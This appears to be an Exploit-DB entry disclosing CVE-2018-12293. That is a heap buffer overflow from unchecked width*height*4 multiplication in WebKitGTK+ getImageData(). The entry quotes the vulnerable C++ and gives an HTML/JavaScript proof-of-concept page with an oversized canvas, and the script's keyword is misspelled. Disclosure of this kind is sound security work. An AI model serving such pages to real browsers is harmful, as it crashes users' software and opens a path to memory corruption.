WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)

EDB-ID: 45205
Author: PeregrineX
Published: 2018-08-16
CVE: CVE-2018-12293
Type: Local
Platform: Linux
Vulnerable App: N/A

 # Date: 2018-08-15 
# Exploit Author: PeregrineX
# Vendor Homepage: https://webkitgtk.org/ & https://webkit.org/wpe/
# Software Link: https://webkitgtk.org/releases/ & https://wpewebkit.org/releases/
# Version: <2.20.3 (GTK+) <2.20.1 (WPE)
# Tested on: WebKitGTK+ 2.20.2
# CVE : CVE-2018-12293

# SUMMARY:
# getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4
# without any overflow checks. If result is larger than UINT_MAX,
# heap-based buffer overflow via integer overflow will occur,
# which could be exploited further.

# Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1
# Credit to ADlab of Venustech for originally finding this vulnerability.

Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp):

template <AlphaPremultiplication premultiplied>
RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale)
{
auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4);
if (!result)
return nullptr;
//...

# Proof of Concept:
<html>
<head>
<script>
funciton poc() {
var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var imgData = ctx.getImageData(0, 0, 32768, 32768);
}
</script>
</head>
<body onload="poc()">
<canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas>
</body>
</html>
